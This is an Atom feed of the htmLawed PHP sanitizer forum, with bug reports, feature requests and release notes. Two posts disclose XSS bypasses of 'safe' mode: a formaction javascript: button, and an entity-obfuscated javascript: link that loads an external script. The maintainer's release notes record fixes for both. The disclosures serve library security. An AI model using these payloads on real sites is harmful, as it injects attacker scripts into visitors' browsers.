<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
	<title type="html"><![CDATA[PHP Labware forum]]></title>
	<link rel="self" href="https://www.bioinformatics.org/phplabware/forum/extern.php?action=feed&amp;type=atom" />
	<updated>2024-07-02T15:05:59Z</updated>
	<generator>PunBB</generator>
	<id>https://www.bioinformatics.org/phplabware/forum/index.php</id>
		<entry>
			<title type="html"><![CDATA[Regex performance problem]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=386&amp;action=new" />
			<summary type="html"><![CDATA[<p>Sorry I posted the issue previously here.<br />https://github.com/kesar/HTMLawed/issues/30</p><p>There is a regex that performs very slow in certain scenarios (I&#039;m using HTMLawed indirectly through GLPI). I experience the issue with PHP 7, but not with PHP 8.</p><p>Not sure how to workaround it.</p>]]></summary>
			<author>
				<name><![CDATA[aguripundi]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=737</uri>
			</author>
			<updated>2024-07-02T15:05:59Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=386&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Expose list of tags that need a close tag]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=384&amp;action=new" />
			<summary type="html"><![CDATA[<p>If you want to use `hook_tag` method, you currently have to make a copy of the HTML tags that require a close tag. You can see that being recommended in the docs in https://bioinformatics.org/phplabware/internal_utilities/htmLawed/htmLawed_README.htm#s3.4.9. </p><p>I think it would be an improvement if that would not be necessary.</p><p>One idea would be to simply expose this as a constant. That way we can simply plug in that constant instead.</p><p>One way to do that would be:</p><p>interface HtmLawedConstants {<br />&nbsp; &nbsp; public const EMPTY_ELEMENTS = [&#039;img&#039;, ..];<br />}</p><p>This would work for both the OPP and function version.</p>]]></summary>
			<author>
				<name><![CDATA[roelvd]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=736</uri>
			</author>
			<updated>2023-08-08T09:38:06Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=384&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[New version 1.2.15 of htmLawed released on 4 August 2023]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=383&amp;action=new" />
			<summary type="html"><![CDATA[<p>New version 1.2.15 of htmLawed released on 4 August 2023:</p><p>* Proper checking of attribute <em>formaction</em> for security</p><p>* Transformation for deprecated attribute <em>bgcolor</em> for <em>tbody</em>, <em>tfoot</em>, and <em>thead</em></p><p>* Support for URL schemes <em>ws</em> and <em>wss</em></p>]]></summary>
			<author>
				<name><![CDATA[patnaik]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=2</uri>
			</author>
			<updated>2023-08-05T04:30:28Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=383&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[formaction is allowed in safe mode]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=381&amp;action=new" />
			<summary type="html"><![CDATA[<p>The following code is not caught by the safe mode of HtmLawed:</p><p>&lt;button form=&quot;test&quot; formaction=&quot;javascript:alert(123489574)&quot;&gt;Click&lt;/button&gt;&#039; does not contain &quot;formaction</p><br /><p>But, if you click on the following code, it will execute the javascript. </p><br /><p>I would suggest to disallow the formaction attribute in safe mode. </p><br /><p>Let me know if it would be helpful for me to contribute such a change.</p>]]></summary>
			<author>
				<name><![CDATA[roelvd]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=736</uri>
			</author>
			<updated>2023-08-03T09:07:50Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=381&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[New version 1.2.14 of htmLawed released on 25 May 2023]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=380&amp;action=new" />
			<summary type="html"><![CDATA[<p>Fixes the &#039;srcset in source&#039; issue reported in this <a href="http://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=378">post</a>.</p>]]></summary>
			<author>
				<name><![CDATA[patnaik]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=2</uri>
			</author>
			<updated>2023-05-25T21:17:31Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=380&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Bug: srcset attribute not allowed on source tags]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=378&amp;action=new" />
			<summary type="html"><![CDATA[<p>In addition to `img`, `source` should also support this attribute:</p><p>Patch: https://github.com/fossar/HTMLawed/pull/15/commits/7d9aaee4ed5fa18637ac37de24362e0aca990a19.patch</p>]]></summary>
			<author>
				<name><![CDATA[jtojnar]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=632</uri>
			</author>
			<updated>2023-05-23T21:52:55Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=378&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[New version 1.2.13 of htmLawed released on 1 May 2023]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=377&amp;action=new" />
			<summary type="html"><![CDATA[<p>New version 1.2.13 of htmLawed released on 1 May 2023 to fix issues with nesting for &#039;details&#039; /&#039;ruby&#039; attributes, handling of self-closing tags, and parsing of <em>$config[&#039;schemes&#039;]</em> in v1.2.8-12 – all noted in <a href="http://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=375">this post</a> – and handling of multiple values in &#039;sizes&#039; attribute.</p>]]></summary>
			<author>
				<name><![CDATA[patnaik]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=2</uri>
			</author>
			<updated>2023-04-30T01:34:56Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=377&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Problems after updating from 1.2.4 to 1.2.12]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=375&amp;action=new" />
			<summary type="html"><![CDATA[<p>Hi, </p><p>I recently updated from 1.2.4 to 1.2.12 and had to modify htmLawed slightly to get our test suite working.&nbsp; Here are the issues I encountered:</p><br /><p>(1)&nbsp; Depending on the “safe” configuration either &quot;, app, javascript; *: data, javascript, file, http, https&quot; or &quot;; *: file, http, https” is appended to the end of the user-provided “schemes” configuration.&nbsp; The documentation doesn’t mention that anything will be appended to the config string so I assume this is a bug.&nbsp; It looks like an operator precedence/parentheses issue, potentially complicated by the ternary operator precedence changing between PHP 7 and 8:</p><div class="codebox"><pre class="prettyprint"><code>$x = (isset($C[&#039;schemes&#039;][2]) &amp;&amp; strpos($C[&#039;schemes&#039;], &#039;:&#039;)
        ? strtolower($C[&#039;schemes&#039;])
        : &#039;href: aim, feed, file, ftp, gopher, http, https, irc, mailto, news, nntp, sftp, ssh, tel, telnet&#039;)
       . (empty($C[&#039;safe&#039;])
          ? &#039;, app, javascript; *: data, javascript, &#039;
          : &#039;; *:&#039;)
       . &#039;file, http, https&#039;;</code></pre></div><br /><p>(2) Only &lt;summary&gt; is allowed as a child of &lt;details&gt; and all other tags are removed despite &lt;details&gt; supporting flow content.&nbsp; I believe this is happening because in hl_balance() the &lt;details&gt; element is listed in $validMomKidAr.&nbsp; It is also listed in $otherValidMomKidAr which seems like the correct place for it.</p><br /><p>(3) A &lt;br/&gt; tag is stripped out but a &lt;br /&gt; with a space before the / is not stripped out.&nbsp; I believe this is happening due to a change in the regex used in hl_tag() which detects the end of the tag by looking for whitespace or &gt;.&nbsp; Having it also stop on / appears to fix the problem.</p><br /><p>(4) The &lt;ruby&gt; tag is not allowed to have text directly inside it.&nbsp; As a result an example from MDN:</p><div class="codebox"><pre class="prettyprint"><code>&lt;ruby&gt;
明日 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Ashita&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
&lt;/ruby&gt;</code></pre></div><p>gets turned into </p><div class="codebox"><pre class="prettyprint"><code>&lt;ruby&gt;
     &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Ashita&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
&lt;/ruby&gt;</code></pre></div>]]></summary>
			<author>
				<name><![CDATA[arkonan]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=735</uri>
			</author>
			<updated>2023-04-29T01:16:35Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=375&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[New version 1.2.12 of htmLawed with minor fix released]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=374&amp;action=new" />
			<summary type="html"><![CDATA[<p>New version 1.2.12 of htmLawed released on 25 Apr 2023: Fixes issue that prevented use of attribute &#039;sizes&#039; in &#039;img&#039; and &#039;source&#039; elements.</p>]]></summary>
			<author>
				<name><![CDATA[patnaik]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=2</uri>
			</author>
			<updated>2023-04-25T20:04:18Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=374&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Allow URLS in inline styles when "safe" is set to 1]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=373&amp;action=new" />
			<summary type="html"><![CDATA[<p>I&#039;d like to allow to allow URLs to be used when using inline styles (i.e. specifying an external url in the background-image property)</p><p>The documentation states &quot;With $config[&quot;safe&quot;] = 1, all URLs are disallowed in the style attribute values&quot; but I cannot find a setting that corresponds to this (so that I can re-enable them.)</p>]]></summary>
			<author>
				<name><![CDATA[NinCollin]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=732</uri>
			</author>
			<updated>2023-03-05T02:44:23Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=373&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Bug: sizes attribute not allowed on img tags]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=371&amp;action=new" />
			<summary type="html"><![CDATA[<p>htmLawed correctly allows using the srcset attribute on img tags:</p><div class="codebox"><pre class="prettyprint"><code>&#039;srcset&#039;=&gt;array(&#039;img&#039;=&gt;1)</code></pre></div><p>But if the srcset attribute uses width descriptors, the sizes attribute must also be present, or the srcset itself will be ignored (https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/srcset).</p><p>So, this entry in $attrEleAr:</p><div class="codebox"><pre class="prettyprint"><code>&#039;sizes&#039;=&gt;array(&#039;link&#039;=&gt;1)</code></pre></div><p>should be changed to:</p><div class="codebox"><pre class="prettyprint"><code>&#039;sizes&#039;=&gt;array(&#039;img&#039;=&gt;1, &#039;link&#039;=&gt;1)</code></pre></div><p>to allow srcset and sizes to be used together.</p>]]></summary>
			<author>
				<name><![CDATA[april]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=733</uri>
			</author>
			<updated>2023-02-09T10:11:25Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=371&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[New version 1.2.11 of htmLawed released on 23 Jan. 2023]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=370&amp;action=new" />
			<summary type="html"><![CDATA[<p>New version 1.2.11 of htmLawed released on 23 Jan. 2023: Fixes an XSS <a href="http://www.bioinformatics.org/phplabware/forum/viewtopic.php?pid=999">vulnerability</a> arising from a lack of inspection for the alphabetical HTML entity for colon character in URLs</p>]]></summary>
			<author>
				<name><![CDATA[patnaik]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=2</uri>
			</author>
			<updated>2023-01-23T07:12:44Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=370&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Bug/exploit with "javascript:"]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=368&amp;action=new" />
			<summary type="html"><![CDATA[<p>With config option &quot;safe&quot;&nbsp; set to 1, the following snippet is not properly mitigated and presents an exploit:</p><div class="codebox"><pre class="prettyprint"><code>&lt;a href=&quot;javascript&amp;colon;&amp;lpar;function&amp;lpar;&amp;rpar;{document.body.appendChild&amp;lpar;document.createElement&amp;lpar;&amp;#x27;script&amp;#x27;&amp;rpar;&amp;rpar;.src=&amp;#x27;https://scripts.rainynight.city/beanz.js&amp;#x27;;}&amp;rpar;&amp;lpar;&amp;rpar;;&quot;&gt;Beans&lt;/a&gt;</code></pre></div><p>Certain special characters are replaced with HTML entities, and it&#039;s even possible to load external scripts (the script in this example is just an alert window)</p>]]></summary>
			<author>
				<name><![CDATA[NinCollin]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=732</uri>
			</author>
			<updated>2022-12-28T04:50:04Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=368&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[New version 1.2.10 of htmLawed released on 5 Nov. 2022]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=367&amp;action=new" />
			<summary type="html"><![CDATA[<p>New version 1.2.10 of htmLawed released on 5 Nov. 2022:</p><p>*&nbsp; Class methods can now be specified as $config hook and hook_tag functions (<a href="http://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=365">ref.</a>)</p><p>*&nbsp; Corrects a PHP notice if $config[&quot;schemes&quot;] mistakenly lacks colons (<a href="http://www.bioinformatics.org/phplabware/forum/viewtopic.php?pid=992#p992">ref.</a>)</p>]]></summary>
			<author>
				<name><![CDATA[patnaik]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=2</uri>
			</author>
			<updated>2022-11-06T01:44:08Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=367&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[htmLawed suggestion: 'hook_tag' and 'hook' using is_callable()]]></title>
			<link rel="alternate" href="https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=365&amp;action=new" />
			<summary type="html"><![CDATA[<p>It would add a lot of flexibility to htmLawed implementation if these two config parameters were verified using is_callable() rather than function_exists(), then called using call_user_func(). </p><p>This is something I&#039;ve been manually editing into the library for a few years now in order to encapsulate the called hook functions as static methods of my project&#039;s existing sanitizer class (which serves as a façade for htmLawed or similar libs).</p><p>Could this approach be officially incorporated into htmLawed in a future release?</p>]]></summary>
			<author>
				<name><![CDATA[Adam Messinger]]></name>
				<uri>https://www.bioinformatics.org/phplabware/forum/profile.php?id=728</uri>
			</author>
			<updated>2022-10-28T17:23:47Z</updated>
			<id>https://www.bioinformatics.org/phplabware/forum/viewtopic.php?id=365&amp;action=new</id>
		</entry>
</feed>
